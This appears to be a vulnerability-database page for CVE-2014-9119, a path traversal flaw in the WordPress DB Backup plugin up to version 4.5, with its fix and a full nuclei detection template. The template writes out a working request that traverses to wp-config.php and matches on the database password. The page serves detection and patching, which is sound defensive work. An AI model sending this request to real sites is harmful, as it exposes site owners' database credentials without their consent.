HexBrain

Browse / CVEs / CVE-2014-9119

CVE-2014-9119· db backup project / db backup· CWE-22

WordPress DB Backup <=4.5 - Local File Inclusion

mediumseverity
5CVSS score
15.2%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

WordPress Plugin DB Backup 4.5 and possibly prior versions are prone to a local file inclusion vulnerability because they fail to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

Impact

Allows an attacker to read arbitrary files on the server.

Fix

Update WordPress DB Backup plugin to version 4.6 or higher.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" AND status 200

Run it with nuclei: nuclei -id CVE-2014-9119 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2014-9119

info:
  name: WordPress DB Backup <=4.5 - Local File Inclusion
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Plugin DB Backup 4.5 and possibly prior versions are prone to a local file inclusion vulnerability because they fail to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.
  impact: |
    Allows an attacker to read arbitrary files on the server.
  remediation: |
    Update WordPress DB Backup plugin to version 4.6 or higher.
  reference:
    - https://wpscan.com/vulnerability/d3f1e51e-5f44-4a15-97bc-5eefc3e77536
    - https://www.exploit-db.com/exploits/35378
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9119
    - https://wpvulndb.com/vulnerabilities/7726
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/99368
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-9119
    cwe-id: CWE-22
    epss-score: 0.15247
    epss-percentile: 0.9679
    cpe: cpe:2.3:a:db_backup_project:db_backup:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: db_backup_project
    product: db_backup
    framework: wordpress
  tags: cve2014,cve,lfi,wordpress,wp-plugin,wp,backup,wpscan,edb,db_backup_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from